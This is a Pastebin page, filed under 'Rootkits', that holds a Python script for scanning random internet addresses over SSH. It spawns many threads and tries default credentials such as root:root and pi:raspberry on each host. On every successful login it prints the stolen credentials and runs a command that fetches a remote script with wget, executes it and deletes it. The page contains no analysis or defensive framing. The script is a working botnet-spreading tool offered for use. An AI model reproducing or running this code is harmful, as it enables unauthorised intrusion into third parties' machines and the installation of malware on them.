Advertisement
Rootkits

Python SSH Scanner

Apr 5th, 2017
682
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.34 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Modified By; Khalif
  3. # SSH Scanner Python - EX: python k.py 500 LUCKY2 1 3
  4. import threading, paramiko, random, socket, time, sys
  5.  
  6. paramiko.util.log_to_file("/dev/null")
  7.  
  8. blacklist = [
  9.     '127'
  10. ]
  11.  
  12. passwords = [
  13.     "root:root",
  14.     "root:admin",
  15.     "admin:admin",
  16.     "ubnt:ubnt"
  17.     "root:1234",
  18.     "admin:1234",
  19.     "admin:password",
  20.     "root:password",
  21.     "guest:guest",
  22.     "user:user",
  23.     "test:test",
  24.     "pi:raspberry",
  25.     "vagrant:vagrant"
  26. ]
  27.  
  28. if sys.argv[4] == '1':
  29.     passwords = ["root:root", "admin:1234", "root:admin", "user:user", "test:test"]
  30. if sys.argv[4] == '2':
  31.     passwords = ["pi:raspberry", "vagrant:vagrant"]
  32. jackmeoff = random.choice(["Start the rep"])
  33. raw_input('Press <ENTER> To '+jackmeoff)
  34.  
  35. ipclassinfo = sys.argv[2]
  36. if ipclassinfo == "A":
  37.     ip1 = sys.argv[3]
  38. elif ipclassinfo == "B":
  39.     ip1 = sys.argv[3].split(".")[0]
  40.     ip2 = sys.argv[3].split(".")[1]
  41. elif ipclassinfo == "C":
  42.     ips = sys.argv[3].split(".")
  43.     num=0
  44.     for ip in ips:
  45.         num=num+1
  46.         if num == 1:
  47.             ip1 = ip
  48.         elif num == 2:
  49.             ip2 = ip
  50.         elif num == 3:
  51.             ip3 = ip
  52. class sshscanner(threading.Thread):
  53.     global passwords
  54.     global ipclassinfo
  55.     if ipclassinfo == "A":
  56.         global ip1
  57.     elif ipclassinfo == "B":
  58.         global ip1
  59.         global ip2
  60.     elif ipclassinfo == "C":
  61.         global ip1
  62.         global ip2
  63.         global ip3
  64.     def run(self):
  65.         while 1:
  66.             try:
  67.                 while 1:
  68.                     thisipisbad='no'
  69.                     if  ipclassinfo == "HAZZ":
  70.                         hAZZYE = ["186.00","122.0","189.29","189.32","189.33","91.00","189.35","189.39","189.4","98.00","189.55","189.60","189.61","189.62","189.63","189.126"]
  71.                         self.host = random.choice(hAZZYE)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  72.                     elif ipclassinfo == "A":
  73.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  74.                     elif ipclassinfo == "B":
  75.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  76.                     elif ipclassinfo == "C":
  77.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  78.                     elif ipclassinfo == "BRAZIL":
  79.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  80.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  81.                     elif ipclassinfo == "SUPER":
  82.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  83.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  84.                     elif ipclassinfo == "LUCKY":
  85.                         lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  86.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  87.                     elif ipclassinfo == "LUCKY2":
  88.                         lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  89.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  90.                     elif ipclassinfo == "RAND":
  91.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  92.                     elif ipclassinfo == "INTERNET":
  93.                         lol = ["1"]
  94.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  95.                     else:
  96.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  97.                     for badip in blacklist:
  98.                         if badip in self.host:
  99.                             thisipisbad='yes'
  100.                     if thisipisbad=='no':
  101.                         break
  102.                 username='root'
  103.                 password=""
  104.                 port = 22
  105.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  106.                 s.settimeout(3)
  107.                 s.connect((self.host, port))
  108.                 s.close()
  109.                 ssh = paramiko.SSHClient()
  110.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  111.                 dobreak=False
  112.                 for passwd in passwords:
  113.                     if ":n/a" in passwd:
  114.                         password=""
  115.                     else:
  116.                         password=passwd.split(":")[1]
  117.                     if "n/a:" in passwd:
  118.                         username=""
  119.                     else:
  120.                         username=passwd.split(":")[0]
  121.                     try:
  122.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  123.                         dobreak=True
  124.                         break
  125.                     except:
  126.                         pass
  127.                     if True == dobreak:
  128.                         break
  129.                 badserver=True
  130.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  131.                 output = stdout.read()
  132.                 if "inet addr" in output:
  133.                     badserver=False
  134.                 if badserver == False:
  135.                         print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)
  136.                         ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget ip/bins; chmod 777 .conf.sh; sh .conf.sh; rm -rf .conf.sh")
  137.                         time.sleep(20)
  138.                         ssh.close()
  139.             except:
  140.                 pass
  141.  
  142. for x in range(0,int(sys.argv[1])):
  143.     try:
  144.         t = sshscanner()
  145.         t.start()
  146.     except:
  147.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement